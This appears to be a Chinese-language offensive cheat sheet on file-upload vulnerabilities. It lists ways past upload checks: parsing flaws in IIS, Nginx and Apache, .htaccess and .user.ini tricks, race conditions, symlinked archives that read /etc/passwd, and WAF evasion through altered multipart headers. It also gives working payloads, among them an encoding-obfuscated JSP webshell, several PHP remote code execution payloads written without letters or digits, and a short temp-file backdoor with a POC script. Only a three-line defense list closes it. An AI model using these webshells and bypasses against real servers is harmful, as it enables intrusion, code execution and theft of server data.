前言
任意文件上传漏洞应该避免,攻击者可以上传任意数量、任意大小的文件至服务器,导致服务器磁盘不足,无法正常运行,造成拒绝服务攻击。甚至可以造成远程命令执行。
绕过
服务端有时候会对用户上传的文件进行校验。我们可以有这些思路进行绕过。
文件头
https://en.wikipedia.org/wiki/List_of_file_signatures
如果服务端对文件头进行校验的话,我们可以在 WebShell 头部添加这些文件头
拓展名
有一些特殊的拓展名可能也会被服务器解析。例如:
- asp:asa、cer、cdx、aspx、ashx
- php:php3、php4、phtml…
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Perl: .pl, .cgi
- 文件名后加
/
- boundary等号前后空格绕过,如
Content-Type: multipart/form-data;
boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3
::$DATA
: (Only Windows)Windows 会将::$DATA
后的数据当作文件流处理,将保持::$DATA
之前的文件名- …
如果服务器是对黑名单进行检验的话,我们可以尝试这些内容进行绕过。
解析漏洞
IIS
分号截断
在 IIS 6.0 下 1.asp;.jpg
会被当作 asp 进行解析,分号后面的不被解析。
目录解析
把 .asp,.asa 目录下的文件都解析成 asp 文件。例如:a.asp/a.jpg 它将当做 asp 进行解析
Nginx
文件类型解析错误
当目标是 php-fpm ,在一些错误的配置下 nginx 可能会将 /exp.jpg/.php
当作 php 代码进行解析。因为 phpinfo 中的 fix_pathinfo
默认设置,会将后面不存在路径的 PATH_INFO
进行删除,直到遇到存在的资源便会交给 fpm 进行解析。
我们可以通过以下步骤进行探测是否存在这个解析错误:
当访问 /robots.txt
的时候响应的是 Content-Type: text/plain
当访问 /robots.txt/.php
会恢复 Content-Type: text/html
并且还会增加 X-Powered-By: php
的指纹。
为了避免这个问题,我们可以在 php-fpm 的配置文件中增加 security.limit_extensions
的值,使其只解析特定的后缀。当然这个值也已经默认为 .php
。此外还可以在 nginx.conf 添加 fastcgi_split_path_info ^(.+\.php)(.*)$
对 PATH 进行分割.
空字节解析漏洞
受 CVE-2013-4547 影响的 nginx 版本号为 0.8.41~1.4.3/1.5.0~1.5.7。
正常情况下只有 php 的拓展名才会被发送到 FastCGI 解析。但该漏洞 .jpg%00.php
也会被解析。
Apache 解析漏洞
.htaccess
.htaccess
作用于当前目录及其所在子目录。如果我们可以上传 .htaccess
我们可以构造该文件,上传上去解析任意的文件。例如:
- sethandler
# 将test.gif 当做 PHP 执行
<FilesMatch "test.gif">
SetHandler application/x-httpd-php
</FilesMatch>
- addtype
# 将 .png 当做 PHP 文件解析
AddType application/x-httpd-php .png
https://github.com/wireghoul/htshells
换行
如果服务端匹配时用黑名单的方式,那么我们可以用 .php\n
尝试绕过。而且当 apache 版本号小于 2.4.30 还会被解析。
fastcgi
.user.ini
.user.ini 可以设置 phpinfo 的属性,并且是动态生效的。
不管是 nginx/apache/IIS,只要是以 fastcgi 运行的 php 都可以用这个方法,本质是设置文件包含属性。保证上传的文件名字不会被修改,并且上传目录中需要存在一个 php 文件,并且可以给我们访问到。
在这里我们将用到 auto_append_file
和 auto_prepend_file
。
auto_append_file
在 php
文件最后用 require
包含进指定文件,auto_prepend_file
则是在 php
文件代码执行前用 require
包含进指定的文件。
例如 .user.ini 的文件内容为:
auto_prepend_file=01.gif
此时我们上传了 .user.ini 后需要再上传一个 01.gif 内容为 php 文件代码。访问该目录存在的一个 php 文件,即可先包含 01.gif 的内容。
条件竞争
如果一个网站允许任意文件上传,但是上传以后再对文件进行检测,不符合白名单的文件被删除,那么我们可以使用条件竞争的方式,在 webShell 还没有被删除的情况下就利用。
解压
Symlink
如果我们可以上传压缩包文件并将可以服务端对压缩包进行解压出来的文件我们可以访问到,那么我们还可以使用上传软链接的方式获得服务器上的敏感文件信息。
ln -s ../../../../../../etc/passwd a.pdf
zip --symlinks test.zip a.pdf
tar -cvf test.tar a.pdf
此时将 a.pdf 下载下来,就是服务器上的 /etc/passwd
内容
目录穿越
我们可以构造压缩包的文件名,使其解压到别的目录完成绕过。https://github.com/ptoomey3/evilarc
提前解压
可以修改压缩包二进制字节,让压缩包解压过程中出错。但是出错提前解压出了 WebShell
内容绕过
unicode 编码
在 Java 中可以使用 unicode 仍然会被当做正确的代码进行执行
#python2
data = '''<?xml version="1.0" encoding="cp037"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
class PERFORM extends ClassLoader {
PERFORM(ClassLoader c) { super(c);}
public Class bookkeeping(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] branch(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
</jsp:declaration>
<jsp:scriptlet>
String cls = request.getParameter("xxoo");
if (cls != null) {
new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
}
</jsp:scriptlet>
</jsp:root>'''
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
PHP
更多 trick 可以参考 https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp
PHP 变量函数
如果变量名后面加了圆括号,PHP 将寻找与变量求值结果相同的函数名并尝试执行,
那么也就是说 system("ls");
和 "system"("ls");
和 "\x73\x79\x73\x74\x65\x6d"("ls");
是相同效果
text = "system"
formatted_text = ''.join([f'\\x{ord(c):02x}' for c in text])
print(formatted_text)
# \x73\x79\x73\x74\x65\x6d
但是这种技巧并不适用与所有的 PHP 函数,包括
echo print unset isset empty include require
php 也不一定需要我们用引号来声明字符串,我们可以自己声明
echo (string)hello;# hello
echo (world);# world
如果代码是这样
<?php
eval($_GET["code"]);
我们可以这样
?a=system&b=ls&code=$_GET['a']($_GET['b']);
?1=system&2=ls&code=$_GET[1]($_GET[2]);
get_defined_functions
这个函数会返回 PHP 的一个多维数组,其中包括所有已经定义函数的列表。内部函数可以通过 $arr["internal"]
访问。用户定义可以通过 $arr["user"]
访问
可以发现我这个环境下 system
函数是在 680。我们可以这样绕过关键字system
<?php
get_defined_functions()["internal"][680]("whoami");
无数字或字母 RCE
无字母 RCE 方法可以考虑:
- 取反
- 按位异或
- 自增
- POC 上传文件
取反
php 5 无法复现,但是 php 7 可以。原因是PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持
如果目标存在
<?php
@eval($_REQUEST[1]);
?>
我们可以 payload:
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
生成
(~%8C%86%8C%8B%9A%92)(~%93%8C);
传入
?1=(~%8F%97%8F%96%91%99%90)();
即可完成 rce
异或
这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z
中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码
值,再将这个值转换成二进制,然后一位一位的进行按位异或
payload: 支持 php5、php7
需要目标存在
<?php
@eval($_REQUEST[1]);
?>
payload
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
此时只需 GET 传入
?1=$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
POST 传入
1=phpinfo();
自增
支持 php5,部分 php7 早期版本。由于构造出的是 assert ,再往后的 php 版本中设置了 zend.assertions 来限制 assert,默认值改为了 -1,表示不执行其中的代码。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
如果是追求无字母而不是无数字+字母可以用
<?php
$_=([]._){0}; //A
$_++;
$_1=++$_; //$_1=C
$_++;
$_++;
$_++;
$_++;
$_1.=++$_.([]._){1}; //$_1=CHr
$_=_.$_1(71).$_1(69).$_1(84); //$_=_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])
//缩短为一行
$_=([]._){0};$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_1.=++$_.([]._){1};$_=_.$_1(71).$_1(69).$_1(84);$$_[1]($$_[2]);
构造 POC
需要环境为 php5
参考 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html#glob
需要目标环境中存在
<?php
@eval($_REQUEST[1]);
?>
传入
?1=?><?=`.+/%3F%3F%3F/%3F%3F%3F%3F%3F%3F%3F%3F[%40-[]`%3b?>
然后 POST 请求上传文件,文件内容为
#!/bin/sh
id
PHP 短后门
如果 php 后门是这样
<?=`. /t*/*`;
或者是
<?=`. /*p/*`;
基本上都是通过上传临时文件到 tmp 目录下进行利用,利用漏洞如下
shell.txt
#!/bin/sh
ls -al /
poc.py
import requests
url = 'http://url/shell.php'
files = {'file': ('filename.txt', open('./shell.txt', 'rb'))}
response = requests.post(url, files=files)
print(response.text)
这是 p 牛知识星球上分享的东西,镜像是 php:7.4-apache
version: '3'
services:
web:
image: php:7.4-apache
ports:
- "8081:80"
volumes:
- ./src:/var/www/html
restart: always
Waf
- 换行
Content-Disposition: form-data; name="file"; filename="1.p
hp"
Content-Disposition: form-data; name="file"; file
name="1.php"
Content-Disposition: form-data; name="file"; filename=
"1.php"
- 多个等号绕过检测,例如
Content-Disposition: form-data; name="file"; filename==="a.php"
- 去掉或替换引号绕过 waf:
Content-Disposition: form-data; name=file1; filename=a.php
Content-Disposition: form-data; name='file1'; filename="a.php"
- 增加 filename 干扰拦截,例如:
Content-Disposition: form-data; name="file"; filename= ; filename="a.php"
- 混淆 waf 匹配字段,例如:
混淆 form-data
Content-Disposition: name="file"; filename="a.php"
去除form-data
Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file"; filename="a.php"
替换form-data为垃圾值
Content-Disposition: form-data ; name="file"; filename="a.php"
form-data后加空格
Content-Disposition: for+m-data; name="file"; filename="a.php"
form-data中加+
混淆 ConTent-Disposition
COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
大小写混淆
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
调换Content-Type和ConTent-Disposition的顺序
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
AAAAAAAA:filename="aaa.jpg";
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
Content-Length: 666
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
- 请求混淆,例如将 POST 请求改为 GET 请求。
- 分块传输
其它思路
- 找到能够更改文件名的功能。
- 文件包含。
- 上传非法文件名。例如
.|<>*?
- 上传可执行文件。
防御
- 白名单拓展名检测
- 修改文件名和后缀
- 上传目录不解析